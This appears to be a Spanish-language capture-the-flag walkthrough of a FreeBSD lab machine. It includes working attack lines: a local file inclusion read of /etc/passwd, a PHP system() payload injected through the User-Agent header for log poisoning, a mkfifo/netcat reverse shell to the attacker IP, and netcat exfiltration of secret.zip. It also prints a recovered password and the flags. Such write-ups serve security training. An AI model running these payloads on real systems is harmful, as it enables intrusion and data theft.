• Poison is a fairly easy machine which focuses mainly on log poisoning and port forwarding/tunneling. The machine is running FreeBSD which presents a few challenges for novice users as many common binaries from other distros are not available.

PortScan

sudo nmap -sCV -p22,80 10.10.10.84 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 12:00 CST
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 10.10.10.84
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Enumeración

  • Tenemos el puerto 80 abierto y esta corriendo un servicio web estas son las tecnologías que esta corriendo.
 whatweb http://10.10.10.84
http://10.10.10.84 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[FreeBSD][Apache/2.4.29 (FreeBSD) PHP/5.6.32], IP[10.10.10.84], PHP[5.6.32], X-Powered-By[PHP/5.6.32]
  • Vemos algunas rutas.
sudo nmap --script=http-enum -p80 10.10.10.84 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 12:01 CST
Nmap scan report for 10.10.10.84
Host is up (0.18s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /info.php: Possible information file
|_  /phpinfo.php: Possible information file
  • Esta es la pagina web.

  • Nos dicen que la web funciona para probar scripts en PHP.

  • Si damos click en Submit sin subir ningún tipo de contenido vemos esta respuesta.

  • Además en la url vemos que mediante un parámetro llamado file se ve que este es el encargado de apuntar los archivos que tenemos que indicar y como no le indicamos nada pues no esta apuntando a nada es por eso que nos da error.

Local File Inclusion (LFI)

  • Por el parámetro podemos probar con un LFI para ver si podemos leer archivos en este caso el mas conocido el /etc/passwd para ver los usuarios en el sistema.
❯ curl -s 'http://10.10.10.84/browse.php?file=/etc/passwd'
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
charix:*:1001:1001:charix:/home/charix:/bin/csh

Log Poisoning

  • Vemos que se esta empleando FreeBSD https://www.freebsd.org/.

  • Para convertir un LFI a un RCE podemos hacer un Log Poisoning para ver los logs tenemos que ser capaces de ver esta ruta /var/log/apache2.

❯ curl -s 'http://10.10.10.84/browse.php?file=/var/log'
<br />
<b>Warning</b>:  include(/var/log): failed to open stream: Resource temporarily unavailable in <b>/usr/local/www/apache24/data/browse.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>:  include(): Failed opening '/var/log' for inclusion (include_path='.:/usr/local/www/apache24/data') in <b>/usr/local/www/apache24/data/browse.php</b> on line <b>2</b><br />
  • En este caso se esta empleando FreeBSD y la ruta donde están los logs es en /var/log/httpd-access.log hay se guardan todas las solicitudes que recibe cada que intentamos interactuar con el servidor o la maquina todo se va a guardar allí si nosotros somos capaces de ver el contenido de ese archivo podemos tratar de hacer un Log Poisoning que esto lo que hace es envenenar los logs de apache y poder inyectar comandos https://medium.com/@josewice7/lfi-to-rce-via-log-poisoning-db3e0e7a1cf1.

  • Vemos que podemos ver el archivo.

  • Como la web interpreta PHP lo que podemos hacer es mediante el User-Agent inyectar código PHP para ver si lo interpreta esto lo que va hacer es como vamos a hacerlo mediante curl por GET se va a guardar el el access.log y hay podremos ver si en este caso funciono.
❯ curl -s -X -GET "http://10.10.10.84/test" -H "User-Agent: <?php system('id'); ?>"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Not Implemented</title>
</head><body>
<h1>Not Implemented</h1>
<p>-GET to /test not supported.<br />
</p>
</body></html>
  • Y vemos que como tal fue interpretado.
❯ curl -s -X -GET 'http://10.10.10.84/browse.php?file=/var/log/httpd-access.log' | tail -n 10
10.10.14.17 - - [08/Sep/2024:20:02:11 +0200] "GET /favicon.ico HTTP/1.1" 404 209 "http://10.10.10.84/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
10.10.14.17 - - [08/Sep/2024:20:02:30 +0200] "-" 408 - "-" "-"
10.10.14.17 - - [08/Sep/2024:20:06:50 +0200] "GET /browse.php?file= HTTP/1.1" 200 321 "http://10.10.10.84/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
10.10.14.17 - - [08/Sep/2024:20:07:10 +0200] "-" 408 - "-" "-"
10.10.14.17 - - [08/Sep/2024:20:09:38 +0200] "GET /browse.php?file=/etc/passwd HTTP/1.1" 200 1894 "-" "curl/8.8.0"
10.10.14.17 - - [08/Sep/2024:20:12:58 +0200] "GET /browse.php?file=/var/log HTTP/1.1" 200 368 "-" "curl/8.8.0"
10.10.14.17 - - [08/Sep/2024:20:18:28 +0200] "GET /browse.php?file=/var/log/httpd-access.log HTTP/1.1" 200 381807 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
10.10.14.17 - - [08/Sep/2024:20:18:48 +0200] "-" 408 - "-" "-"
10.10.14.17 - - [08/Sep/2024:20:22:19 +0200] "-GET /test HTTP/1.1" 501 196 "-" "uid=80(www) gid=80(www) groups=80(www)

Shell as www

  • Algo que podemos hacer es que para controlar nosotros el comando podemos inyectar lo siguiente para poder hacerlo mucho mas cómodo mediante el parámetro cmd nosotros le vamos a pasar el comando.
❯ curl -s -X GET "http://10.10.10.84/test" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /test was not found on this server.</p>
</body></html>

  • Ahora nos vamos a poner en escucha con netcat para enviarnos una reverse shell.
❯ nc -nlvp 443
listening on [any] 443 ...

  • Si lo enviamos vemos que nos envía nada.

  • Lo mas probable es que tengamos que hacerlo url-encodeado.

  • Vamos a capturar con Burpsuite la petición donde vemos el archivo de los logs.

  • Vamos abrirlo en segundo plano e independizamos el proceso.

❯ burpsuite &>/dev/null & disown
[1] 35533

  • Ahora lo url-encodeamos.

  • Ahora le damos a forward para enviar la petición.

  • Nos llega la shell.

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.84] 13393
sh: can't access tty; job control turned off
$ whoami
www
$ 
  • No nos deja.
$ script /dev/null -c bash
script: -c: No such file or directory
Script started, output file is /dev/null
Script started, output file is /dev/null

Script done, output file is /dev/null
  • Hay un archivo llamado pwdbackup.txt por el nombre ya sabemos que es importante.
$ pwd
/usr/local/www/apache24/data
$ ls -la
total 72
drwxr-xr-x  2 root  wheel   512 Mar 19  2018 .
drwxr-xr-x  6 root  wheel   512 Jan 24  2018 ..
-rw-r--r--  1 root  wheel    33 Jan 24  2018 browse.php
-rw-r--r--  1 root  wheel   289 Jan 24  2018 index.php
-rw-r--r--  1 root  wheel    27 Jan 24  2018 info.php
-rw-r--r--  1 root  wheel    33 Jan 24  2018 ini.php
-rw-r--r--  1 root  wheel    90 Jan 24  2018 listfiles.php
-rw-r--r--  1 root  wheel    20 Jan 24  2018 phpinfo.php
-rw-r--r--  1 root  wheel  1267 Mar 19  2018 pwdbackup.txt
  • Y tenemos esto.
$ cat pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=
  • Si hacemos un decode 13 veces obtendremos una contraseña.
echo -n "Q2hhcml4ITIjNCU2JjgoMA==" | base64 -d
Charix!2#4%6&8(0           

Shell as charix

  • Si recordamos tenemos un usuario que se llama charix y nos podemos conectar por SSH.
❯ ssh charix@10.10.10.84
The authenticity of host '10.10.10.84 (10.10.10.84)' can't be established.
ED25519 key fingerprint is SHA256:ai75ITo2ASaXyYZVscbEWVbDkh/ev+ClcQsgC6xmlrA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.84' (ED25519) to the list of known hosts.
(charix@10.10.10.84) Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Want to see how much virtual memory you're using? Just type "swapinfo" to
be shown information about the usage of your swap partitions.
csh: The terminal database could not be opened.
csh: using dumb terminal settings.
charix@Poison:~ %

User flag

charix@Poison:~ % cat user.txt 
eaacdfb2d141b72a589233063604209c
charix@Poison:~ % 

Privilege Escalation

  • Vemos un secret.zip vamos a enviarlo a nuestra maquina de atacante para analizarlo.
❯ nc -nlvp 443 > secret.zip
listening on [any] 443 ...
  • Ahora lo enviamos.
charix@Poison:~ % nc 10.10.14.17 443 < secret.zip
  • Vemos que hay un secret.
❯ 7z l secret.zip

7-Zip 24.07 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-06-19
 64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 166 bytes (1 KiB)

Listing archive: secret.zip

--
Path = secret.zip
Type = zip
Physical Size = 166

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-01-24 11:01:14 .R..A            8           20  secret
------------------- ----- ------------ ------------  ------------------------
2018-01-24 11:01:14                  8           20  1 files
  • Si hacemos un unzip nos pide contraseña.
❯ unzip secret.zip
Archive:  secret.zip
[secret.zip] secret password: 
  • Vamos a usar zip2john para extraer un hash y posteriormente crackearlo para obtener la contraseña.
❯ zip2john secret.zip > hash
ver 2.0 secret.zip/secret PKZIP Encr: cmplen=20, decmplen=8, crc=77537827 ts=9827 cs=7753 type=0
  • Y bueno no tenemos suerte por que no esta la contraseña en el rockyou.txt.
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:12 DONE (2024-09-08 13:06) 0g/s 1188Kp/s 1188Kc/s 1188KC/s !LUVDKR!..*7¡Vamos!
Session completed. 
                            
  • Lo que podemos hacer es reutilizar la contraseña que ya tenemos para ver si con esa funciona.
❯ unzip secret.zip
Archive:  secret.zip
[secret.zip] secret password: 
 extracting: secret    
  • Pero no vemos gran cosa.
❯ catn secret
��[|Ֆz!
  • Si enumeramos puertos abiertos internamente vemos los siguientes.
charix@Poison:~ % netstat -na -p tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0     44 10.10.10.84.22         10.10.14.17.57266      ESTABLISHED
tcp4       0      0 10.10.10.84.13393      10.10.14.17.443        CLOSE_WAIT
tcp4       0      0 10.10.10.84.80         10.10.14.17.52658      CLOSE_WAIT
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN
charix@Poison:~ % 
  • Encontramos un proceso interesante.
charix@Poison:~ % ps -faux
USER   PID  %CPU %MEM    VSZ   RSS TT  STAT STARTED     TIME COMMAND
root    11 100.0  0.0      0    16  -  RL   19:54   72:52.21 [idle]
root     0   0.0  0.0      0   160  -  DLs  19:54    0:00.01 [kernel]
root     1   0.0  0.1   5408  1040  -  ILs  19:54    0:00.00 /sbin/init --
root     2   0.0  0.0      0    16  -  DL   19:54    0:00.00 [crypto]
root     3   0.0  0.0      0    16  -  DL   19:54    0:00.00 [crypto returns]
root     4   0.0  0.0      0    32  -  DL   19:54    0:00.04 [cam]
root     5   0.0  0.0      0    16  -  DL   19:54    0:00.00 [mpt_recovery0]
root     6   0.0  0.0      0    16  -  DL   19:54    0:00.00 [sctp_iterator]
root     7   0.0  0.0      0    16  -  DL   19:54    0:00.25 [rand_harvestq]
root     8   0.0  0.0      0    16  -  DL   19:54    0:00.00 [soaiod1]
root     9   0.0  0.0      0    16  -  DL   19:54    0:00.00 [soaiod2]
root    10   0.0  0.0      0    16  -  DL   19:54    0:00.00 [audit]
root    12   0.0  0.1      0   736  -  WL   19:54    0:01.65 [intr]
root    13   0.0  0.0      0    48  -  DL   19:54    0:00.00 [geom]
root    14   0.0  0.0      0   160  -  DL   19:54    0:00.15 [usb]
root    15   0.0  0.0      0    16  -  DL   19:54    0:00.00 [soaiod3]
root    16   0.0  0.0      0    16  -  DL   19:54    0:00.00 [soaiod4]
root    17   0.0  0.0      0    48  -  DL   19:54    0:00.07 [pagedaemon]
root    18   0.0  0.0      0    16  -  DL   19:54    0:00.00 [vmdaemon]
root    19   0.0  0.0      0    16  -  DL   19:54    0:00.00 [pagezero]
root    20   0.0  0.0      0    32  -  DL   19:54    0:00.04 [bufdaemon]
root    21   0.0  0.0      0    16  -  DL   19:54    0:00.01 [bufspacedaemon]
root    22   0.0  0.0      0    16  -  DL   19:54    0:00.04 [syncer]
root    23   0.0  0.0      0    16  -  DL   19:54    0:00.01 [vnlru]
root   319   0.0  0.5   9560  5052  -  Ss   19:55    0:00.15 /sbin/devd
root   390   0.0  0.2  10500  2452  -  Ss   19:55    0:00.06 /usr/sbin/syslogd -s
root   543   0.0  0.5  56320  5400  -  S    19:55    0:01.97 /usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.con
root   620   0.0  0.7  57812  7052  -  Is   19:55    0:00.00 /usr/sbin/sshd
root   625   0.0  1.1  99172 11516  -  Ss   19:56    0:00.09 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    637   0.0  1.3 101220 12776  -  I    19:57    0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    638   0.0  1.2 101220 12072  -  I    19:57    0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    639   0.0  1.2 101220 11952  -  I    19:57    0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    640   0.0  1.3 101220 12788  -  I    19:57    0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    641   0.0  1.3 101220 12812  -  I    19:57    0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
root   642   0.0  0.6  20636  6140  -  Ss   19:57    0:00.05 sendmail: accepting connections (sendmail)
smmsp  645   0.0  0.6  20636  5808  -  Is   19:57    0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendm
root   649   0.0  0.2  12592  2436  -  Is   19:57    0:00.01 /usr/sbin/cron -s
www    706   0.0  1.2 101220 11952  -  I    19:59    0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    708   0.0  1.2 101220 11988  -  S    19:59    0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    712   0.0  1.3 101220 12792  -  I    19:59    0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    713   0.0  1.2 101220 12140  -  I    19:59    0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
www    783   0.0  0.3  13180  2664  -  I    20:46    0:00.00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.
www    786   0.0  0.2   8324  1932  -  I    20:46    0:00.00 cat /tmp/f
www    787   0.0  0.3  13180  2680  -  I    20:46    0:00.00 /bin/sh -i
www    788   0.0  0.2  10928  2000  -  I    20:46    0:00.00 nc 10.10.14.17 443
root   807   0.0  0.8  85228  7840  -  Is   20:56    0:00.01 sshd: charix [priv] (sshd)
charix 810   0.0  0.8  85228  7872  -  S    20:56    0:00.01 sshd: charix@pts/1 (sshd)
root   529   0.0  0.9  23620  8868 v0- I    19:55    0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth 
root   540   0.0  0.7  67220  7056 v0- I    19:55    0:00.01 xterm -geometry 80x24+10+10 -ls -title X Desktop
root   541   0.0  0.5  37620  5312 v0- I    19:55    0:00.00 twm
root   696   0.0  0.2  10484  2076 v0  Is+  19:57    0:00.00 /usr/libexec/getty Pc ttyv0
root   697   0.0  0.2  10484  2076 v1  Is+  19:57    0:00.00 /usr/libexec/getty Pc ttyv1
root   698   0.0  0.2  10484  2076 v2  Is+  19:57    0:00.00 /usr/libexec/getty Pc ttyv2
root   699   0.0  0.2  10484  2076 v3  Is+  19:57    0:00.00 /usr/libexec/getty Pc ttyv3
root   700   0.0  0.2  10484  2076 v4  Is+  19:57    0:00.00 /usr/libexec/getty Pc ttyv4
root   701   0.0  0.2  10484  2076 v5  Is+  19:57    0:00.00 /usr/libexec/getty Pc ttyv5
root   702   0.0  0.2  10484  2076 v6  Is+  19:57    0:00.00 /usr/libexec/getty Pc ttyv6
root   703   0.0  0.2  10484  2076 v7  Is+  19:57    0:00.00 /usr/libexec/getty Pc ttyv7
root   617   0.0  0.4  19660  3616  0  Is+  19:55    0:00.00 -csh (csh)
charix 811   0.0  0.4  19660  3796  1  Ss   20:56    0:00.01 -csh (csh)
charix 837   0.0  0.3  21208  2660  1  R+   21:07    0:00.00 ps -faux
❯ vncviewer
  • Nos tenemos que conectar pero el puerto solo esta abierto internamente así que haremos port forwarding.
❯ ssh charix@10.10.10.84 -D 1080
  • Todo esta funcionando.
❯ lsof -i:1080
COMMAND   PID        USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ssh     62161 miguelrega7    4u  IPv6 192426      0t0  TCP localhost:socks (LISTEN)
ssh     62161 miguelrega7    5u  IPv4 192427      0t0  TCP localhost:socks (LISTEN)
  • Ahora le pasamos lo que nos pide la herramienta.
❯ proxychains vncviewer 127.0.0.1:5901 -passwd secret
  • Estamos como root.

Root flag

  • Vamos a poner la sh con permisos SUID para estar como root desde nuestra consola.

charix@Poison:~ % /bin/sh
Cannot read termcap database;
using dumb terminal settings.
# whoami
root
# cat /root/root.txt
716d04b188419cf2bb99d891272361f5
#